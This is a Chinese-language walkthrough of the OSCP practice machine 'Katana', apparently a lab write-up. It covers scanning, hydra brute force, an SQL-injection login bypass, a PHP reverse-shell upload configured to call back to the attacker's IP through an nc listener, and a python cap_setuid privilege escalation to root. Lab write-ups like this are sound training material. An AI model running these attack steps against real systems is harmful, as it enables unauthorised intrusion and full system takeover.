OSCP系列靶场-Esay-Katana

OSCP系列靶场-Esay-Katana

目录

  • OSCP系列靶场-Esay-Katana
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 21-FTP端口的信息收集
        • 21-FTP版本版本信息
        • 21-FTP端口匿名登录测试(失败)
        • 暴力破解-ftp常见用户密码破解尝试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH手动登录尝试(无)
      • 80-HTTP端口的信息收集
        • 信息收集-HTML隐藏信息查看
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
      • 7080端口的信息收集
      • 8088端口的信息收集
      • 8715端口的信息收集
      • 7080、8080、8715端口的目录扫描
        • 信息收集-dirsearch基础目录扫描
    • 漏洞利用-getwebshell
      • /Ebook/端点文件上传(失败的经历)
        • 端点信息收集
        • 万能密码登录绕过
        • 文件上传getwebshell(失败)
      • 8088端口文件上传
        • /upload.html端点探索
        • 上传点探索
      • 构造反弹shell-getwebshell
    • 内网遨游-getshell
      • 交互shell
      • FLAG1获取
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 检测当前用户的权限
        • 列举出所有的sudo文件
        • 列举出所有suid文件
        • /etc/passwd权限收集
        • /etc/shadow权限收集
        • getcap标志进程收集
      • 权限提升
        • Capabilities-python提权
      • FLAG2获取
    • 思考

总结

getwebshell → 目录扫描发现上传点 → 上传后通过细微区别找到上传路径 → 上传反弹shellgetwebshell

提 权 思 路 → Capabilities搜索 → python-Capabilities提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.216

OSCP系列靶场-Esay-Katana_第1张图片

  • 启动靶机
    获取目标机器IP → 192.168.205.83

OSCP系列靶场-Esay-Katana_第2张图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.205.83

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
7080/tcp open  empowerid
8088/tcp open  radan-http
8715/tcp open  unknown

OSCP系列靶场-Esay-Katana_第3张图片
开放的端口-→21,22,80,7080,8088,8715 有点多≧ ﹏ ≦

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80,7080,8088,8715 192.168.205.83

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 3.0.3
22/tcp   open  ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http          Apache httpd 2.4.38 ((Debian))
7080/tcp open  ssl/empowerid LiteSpeed
8088/tcp open  http          LiteSpeed httpd
8715/tcp open  http          nginx 1.14.2

OSCP系列靶场-Esay-Katana_第4张图片

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息

通过Nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
探测版本为vsftpd 3.0.3

# 通常配置文件所在位置
/etc/vsftpd.conf
21-FTP端口匿名登录测试(失败)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.205.83
Name: anonymous

该服务没有开启匿名免密登录的功能

暴力破解-ftp常见用户密码破解尝试

在利用ftp匿名登录的时候可能会出现无法登录的情况,这时候就需要尝试暴力破解
在这里指定常见的默认用户root admin anonymous

echo "root
admin
anonymous"1.txt
# -L 指定账号字典 -P指定密码字典
hydra -L 1.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.205.83 ftp -s 21

尝试进行ftp的爆破实践

OSCP系列靶场-Esay-Katana_第5张图片
爆破了一段时间,爆破无果

OSCP系列靶场-Esay-Katana_第6张图片

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

# 搜索对应脚本,发现没有
msf6 → searchsploit openssh 7.9


发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.205.83 -v

显示publickeypassword就是支持密钥以及密码登录
显示keyboard-interactive就是支持交互式回答密码登录

OSCP系列靶场-Esay-Katana_第7张图片

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

ssh root @192.168.205.83 -p 22
# 密码尝试
password → root

提示权限被拒绝


弱密码尝试失败

80-HTTP端口的信息收集

访问 http://192.168.205.83:80 不是CMS我们直接从HTML隐藏信息收集开始
里面是一张图片,极具个人特点,可能存在图片隐写术(待定)

OSCP系列靶场-Esay-Katana_第8张图片

信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.205.83:80

没什么隐藏信息,可能Katana是用户名

OSCP系列靶场-Esay-Katana_第9张图片

信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.205.83:80 -x 302,403

OSCP系列靶场-Esay-Katana_第10张图片
没有任何发现,决定上大字典扫描器

# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
gobuster dir -u http://192.168.205.83:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100  -k

通过大字典发现了/Ebook/端点

OSCP系列靶场-Esay-Katana_第11张图片

7080端口的信息收集

端口信息是7080/tcp open empowerid
通过查阅得到以下信息

端口7080是用于EmpowerID身份和访问管理解决方案的TCP端口。EmpowerID是一种身份和访问管理平台,用于管理用户身份、权限和访问控制。

访问http://192.168.205.83:7080提示需要证书无法访问

OSCP系列靶场-Esay-Katana_第12张图片

8088端口的信息收集

端口信息是8088/tcp open radan-http
通过查阅得到以下信息

端口8088是用于Radan HTTP的TCP端口。Radan是一种CAD/CAM软件,用于扁平和三维金属加工和制造。

访问http://192.168.205.83:8088与80端口类似

OSCP系列靶场-Esay-Katana_第13张图片

8715端口的信息收集

8715 http nginx 1.14.2
访问发现像一个代理服务器存在登录窗口
尝试了一下脆弱口令admin admin进去了,存在弱口令,从名称上看是nginx的转发端口

OSCP系列靶场-Esay-Katana_第14张图片

7080、8080、8715端口的目录扫描

三个端口没什么思路的情况都扫扫

信息收集-dirsearch基础目录扫描
dirsearch -u http://192.168.205.83:8715 -x 302,403
dirsearch -u http://192.168.205.83:8088 -x 302,403
dirsearch -u http://192.168.205.83:7080 -x 302,403

OSCP系列靶场-Esay-Katana_第15张图片
扫描完毕之后发现8088端口可以研究的内容较多

OSCP系列靶场-Esay-Katana_第16张图片

漏洞利用-getwebshell

/Ebook/端点文件上传(失败的经历)

从总体来看首先去收集端点信息
访问 http://192.168.205.83/ebook/index.php发现是一个CMS

OSCP系列靶场-Esay-Katana_第17张图片
存在一个登录界面

OSCP系列靶场-Esay-Katana_第18张图片
登录界面的利用方式比较多可以挨个试试

端点信息收集
┌──(root㉿Kali)-[/home/bachang/Katana]
└─# whatweb http://192.168.205.83/ebook/index.php
http://192.168.205.83/ebook/index.php [200 OK] Apache[2.4.38], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.205.83], JQuery[2.1.4], Script[text/javascript], Title[Index], X-UA-Compatible[IE=edge]

该端点的CMSCSE Bookstore

万能密码登录绕过

之前遇到过同类型的站点,使用msf进行搜索

searchsploit CSE Bookstore


查看一下如何登录绕过

cat /usr/share/exploitdb/exploits/php/webapps/48960.txt

可以得到的信息是默认用户admin密码利用sql万能密码绕%' or '1'='1

OSCP系列靶场-Esay-Katana_第19张图片
成功登录了系统

OSCP系列靶场-Esay-Katana_第20张图片

文件上传getwebshell(失败)

同类型的站点我们遇到过,尝试文件上传

# 根据脚本语言制作一个测试的php
┌──(root㉿Kali)-[/home/bachang/Katana]
└─# echo "echo '1111'" → 1.php

收集Apress添加新的book

OSCP系列靶场-Esay-Katana_第21张图片
构造好上传之后

OSCP系列靶场-Esay-Katana_第22张图片
尝试访问ebook主页上的上传地址

OSCP系列靶场-Esay-Katana_第23张图片

http://192.168.205.83/ebook/bootstrap/img/1.php

直接失败,原地罚站

8088端口文件上传

/upload.html端点探索

访问 http://192.168.205.83:8088/upload.html
发现了一个文件上传点

OSCP系列靶场-Esay-Katana_第24张图片
上传1个1.php的脚本,提示上传成功,但是在缓存目录

OSCP系列靶场-Esay-Katana_第25张图片

上传点探索

探索尝试,8088端口没有捏


仔细研究发现了突破口Moved to other web server

OSCP系列靶场-Esay-Katana_第26张图片
提示说上传到其他web服务下命名为katana_1.php

Please wait for 1 minute!. Please relax!.

File : file1
Name : 1.txt
Type : text/plain
Path : /tmp/phpCp60j6
Size : 21
Please wait for 1 minute!. Please relax!.

Moved to other web server: /tmp/phpCp60j6 ====→ /opt/manager/html/katana_1.txt
MD5 : d55ef8642f4906ca13bcd6ed4f080aca
Size : 21 bytes

File : file2
Name : 1.php
Type : application/x-php
Path : /tmp/php4egTpo
Size : 12
Please wait for 1 minute!. Please relax!.

Moved to other web server: /tmp/php4egTpo ====→ /opt/manager/html/katana_1.php
MD5 : 86497caacf187bcf6a6c552f09ab23c0

尝试去其他端口访问,最终在8715端口发现 ( •̀ ω •́ )y

OSCP系列靶场-Esay-Katana_第27张图片

构造反弹shell-getwebshell

# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 5555

反弹shell配置

# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php                
→ 49:$ip = '127.0.0.1';  // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234;       // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.216/' shell.php
sed -i '50s/1234/5555/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php

OSCP系列靶场-Esay-Katana_第28张图片
上传得到katana_shell.php

OSCP系列靶场-Esay-Katana_第29张图片

# curl成功反弹
curl http://192.168.205.83:8715/katana_shell.php

OSCP系列靶场-Esay-Katana_第30张图片

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data @katana:/$ find / -name local.txt 2→/dev/null
/var/www/local.txt
www-data @katana:/$ cat /var/www/local.txt
36eab81cb9a6f3e953a91a079864ddd1

OSCP系列靶场-Esay-Katana_第31张图片

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data @katana:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 10 (buster)
Release:        10
Codename:       buster

发行版本为Debian,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data @katana:/$ uname -a 
Linux katana 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux

内核版本为4.19.0

检测当前用户的权限
www-data @katana:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
sudo -l

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
www-data @katana:/$ find / -perm -u=s -type f 2→/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/fusermount

OSCP系列靶场-Esay-Katana_第32张图片

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

www-data @katana:/$ ls -al /etc/passwd
ls -al /etc/passwd
-rw-r--r-- 1 root root 1726 Jul  3  2020 /etc/passwd
/etc/shadow权限收集
  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
www-data @katana:/$ ls -al /etc/shadow
ls -al /etc/shadow
-rw-r----- 1 root shadow 1013 May 11  2020 /etc/shadow
getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
www-data @katana:/$ /usr/sbin/getcap -r / 2→/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_setuid+ep

发现了python 依旧会心一笑

权限提升

Capabilities-python提权

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

OSCP系列靶场-Esay-Katana_第33张图片
得到提权命令

www-data @katana:/$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=33(www-data) groups=33(www-data)

提权成功

FLAG2获取

# cat /root/proof.txt
377f9b72e895cca72a3459be32667b89

完结撒花~

思考

开始看到见过的CMS激动了一下,结果上传点无效有点懵

在寻找后面的上传点时需要细致一些,多注意关键内容

你可能感兴趣的:(OSCP,网络,网络安全,安全,web安全)